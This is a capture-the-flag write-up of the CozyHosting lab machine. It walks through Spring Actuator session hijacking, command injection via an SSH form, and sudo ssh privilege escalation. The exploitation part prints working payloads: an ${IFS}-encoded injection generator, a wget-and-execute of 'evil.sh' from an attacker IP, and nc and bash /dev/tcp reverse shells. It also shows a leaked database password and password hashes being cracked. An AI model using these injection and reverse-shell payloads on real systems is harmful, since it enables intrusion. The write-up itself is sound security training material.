CozyHosting

Enumeration

First, let's run rustscan to identify open ports.

rustscan -a 10.10.11.230 --ulimit 5000
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

it looks like there's only two open ports, SSH and HTTP. In order to access the webserver, we first need to modify /etc/hosts by adding the following record:

10.10.11.230    cozyhosting.htb

Now, we can visit http://cozyhosting.htb.

Browsing around the website, there isn't too much. The only place for user input is in the "Login" page. I first tried SQL injection via sqlmap:

sqlmap -u http://cozyhosting.htb/login --forms

However, sqlmap did not identify any apparent SQL injection vulnerabilities. My next step was to try and piece together more about the actual web application. Trying to visit /robots.txt for example gives us a "Whitelabel Error Page" which is associated with the Spring framework for Java. Without much more to explore, I decided to use feroxbuster to search for any interesting directories or files. Interestingly, SecLists has a wordlist just for Springboot. We can use this with Feroxbuster:

feroxbuster -u http://cozyhosting.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/language
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/hostname
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/tz
200      GET        1l       13w      487c http://cozyhosting.htb/actuator/env/lang
200      GET        1l       13w      487c http://cozyhosting.htb/actuator/env/home
200      GET        1l       13w      487c http://cozyhosting.htb/actuator/env/path
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/pwd
200      GET        1l      120w     4957c http://cozyhosting.htb/actuator/env
200      GET        1l        1w      634c http://cozyhosting.htb/actuator
200      GET        1l        1w       15c http://cozyhosting.htb/actuator/health
200      GET       43l      241w    19406c http://cozyhosting.htb/assets/img/pricing-business.png
200      GET       34l      172w    14934c http://cozyhosting.htb/assets/img/pricing-starter.png
200      GET       38l      135w     8621c http://cozyhosting.htb/assets/img/favicon.png
200      GET      295l      641w     6890c http://cozyhosting.htb/assets/js/main.js
200      GET       29l      174w    14774c http://cozyhosting.htb/assets/img/pricing-ultimate.png
200      GET       38l      135w     8621c http://cozyhosting.htb/assets/img/logo.png
200      GET       29l      131w    11970c http://cozyhosting.htb/assets/img/pricing-free.png
200      GET       97l      196w     4431c http://cozyhosting.htb/login
200      GET        1l        1w      198c http://cozyhosting.htb/actuator/sessions
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/spring.jmx.enabled
200      GET        1l      542w   127224c http://cozyhosting.htb/actuator/beans
200      GET       83l      453w    36234c http://cozyhosting.htb/assets/img/values-3.png
200      GET       79l      519w    40905c http://cozyhosting.htb/assets/img/values-2.png
200      GET        1l      218w    26053c http://cozyhosting.htb/assets/vendor/aos/aos.css
200      GET        1l      313w    14690c http://cozyhosting.htb/assets/vendor/aos/aos.js
200      GET        1l      108w     9938c http://cozyhosting.htb/actuator/mappings
200      GET       81l      517w    40968c http://cozyhosting.htb/assets/img/hero-img.png
200      GET       73l      470w    37464c http://cozyhosting.htb/assets/img/values-1.png
200      GET     2397l     4846w    42231c http://cozyhosting.htb/assets/css/style.css
200      GET        1l      625w    55880c http://cozyhosting.htb/assets/vendor/glightbox/js/glightbox.min.js
200      GET        7l     1222w    80420c http://cozyhosting.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET     2018l    10020w    95609c http://cozyhosting.htb/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET        7l     2189w   194901c http://cozyhosting.htb/assets/vendor/bootstrap/css/bootstrap.min.css
200      GET       14l     1684w   143706c http://cozyhosting.htb/assets/vendor/swiper/swiper-bundle.min.js
200      GET      285l      745w    12706c http://cozyhosting.htb/

The interesting thing to notice here is the existence of /actuator. Actuator is a submodule of Springboot which provides application monitoring. Specifically, if we visit /actuator/sessions, we will get a JSON output of all valid sessions.

Looks like we have a user kanderson. All we need to do is set our JSESSIONID cookie to the value we found, and we will be logged in as kanderson with full access to the /admin dashboard!

Exploitation

Looking at the admin panel, there is an area for SSH connections. You provide it a hostname and a username, and it attempts to connect via SSH.

We can mess around with the inputs to figure out what they require. From testing, hostname must be a valid hostname (so either an IP address or string) with no special characters. Username can contain anything except spaces. For example, hostname=2664&username=; yields the following error:

usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]%20%20%20%20%20%20%20%20%20%20 [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]%20%20%20%20%20%20%20%20%20%20 [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]%20%20%20%20%20%20%20%20%20%20 [-i identity_file] [-J [user@]host[:port]] [-L address]%20%20%20%20%20%20%20%20%20%20 [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]%20%20%20%20%20%20%20%20%20%20 [-Q query_option] [-R address] [-S ctl_path] [-W host:port]%20%20%20%20%20%20%20%20%20%20 [-w local_tun[:remote_tun]] destination [command [argument ...]]/bin/bash: line 1: @2664: command not found

Looks like we might have code injection. Think of it like this:

/bin/bash -c ssh {username}@{hostname}

If we modify username to be something like ;whoami;, then the command becomes

/bin/bash -c ssh ;whoami;@{hostname}

Where we first execute /bin/bash -c ssh, then whoami, and then @hostname. I wrote a Python script to help the payload generation:

command = "nc 10.10.16.70 4444 -e /bin/sh"
command = command.replace(" ", "${IFS}")
print(f";{command};")

Essentially, we replace all spaces in our command with ${IFS} (because no spaces are allowed for username) and then we pad it with ;. This separates the SSH command with our intended command injection. I messed around with different reverse shells like nc, netcat, nc -e, nc -c, bash, etc, but none worked. The error messages indicated errors regarding the spaces, so I decided to just save the reverse shell to a file, download it on the machine, and then execute. All-in-all, here was my payload generation:

command = "wget 10.10.16.70:8000/evil.sh -O /tmp/evil.sh; chmod +x /tmp/evil.sh; /tmp/evil.sh"
command = command.replace(" ", "${IFS}")
print(f";{command};")

# ;wget${IFS}10.10.16.70:8000/evil.sh${IFS}-O${IFS}/tmp/evil.sh;${IFS}chmod${IFS}+x${IFS}/tmp/evil.sh;${IFS}/tmp/evil.sh;
echo "/bin/bash -i >& /dev/tcp/10.10.16.70/4444 0>&1" > evil.sh
python3 -m http.server 8000
nc -lvnp 4444

Privilege Escalation

Looks like we have a shell as the app user and we are in the /app directory. My first steps when it comes to privilege escalation is sudo -l and LinPEAS, none which provided anything fruitful. Additionally, while looking for the user flag, I noticed there is a josh user, but I don't have permission to their home directory. Looks like we will need to get to josh first, and then to root.

Looking at the directory via ls -al, there is a cloudhosting-0.0.1.jar file-- which we can safely say is the server-side code for the web application. Because .jar are essentially ZIP files, we can unzip the JAR and see the contents. Some of the .class files will still be unreadable because they are compiled bytecode, but property files, configs, etc, will be available.

unzip cloudhosting-0.0.1.jar -d /tmp

Some quick file browsing, and we can uncover BOOT-INF/classes/application.properties:

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

We can try to connect to the PostgreSQL database with the following command

psql -h 127.0.0.1 -p 54432 -U postgres -W

This was my first time using postgres, so had to do a bit of Googling. But, we know the database is called cozyhosting, and we can access it with

postgres=# \c cozyhosting

Then, we can list all of the tables

cozyhosting=# \dt
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres

There's a users table, wonder if it has anything interesting.

cozyhosting=# TABLE users;
   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-----
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

We already have access as kanderson via their session token. We can see if we can find out admin password by cracking the hash. First, we need to identify the hash format. $2a represents Bcrypt/Blowfish, so we can crack it with johnand rockyou.txt. (I chose John because Bcrypt takes longer to calculate via GPU, and Hashcat is GPU-centric. John is better at CPU hashes).

john hash --wordlist=/usr/share/wordlists/rockyou.txt

Now, we can try switching to user josh with the cracked password.

Privilege Escalation (to root!)

We can see what commands josh can run as root with sudo -l

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Looking at GTFObins for ssh, it looks like there is an entry for sudo, so all we need to do is run one command and we'll have root!

Last updated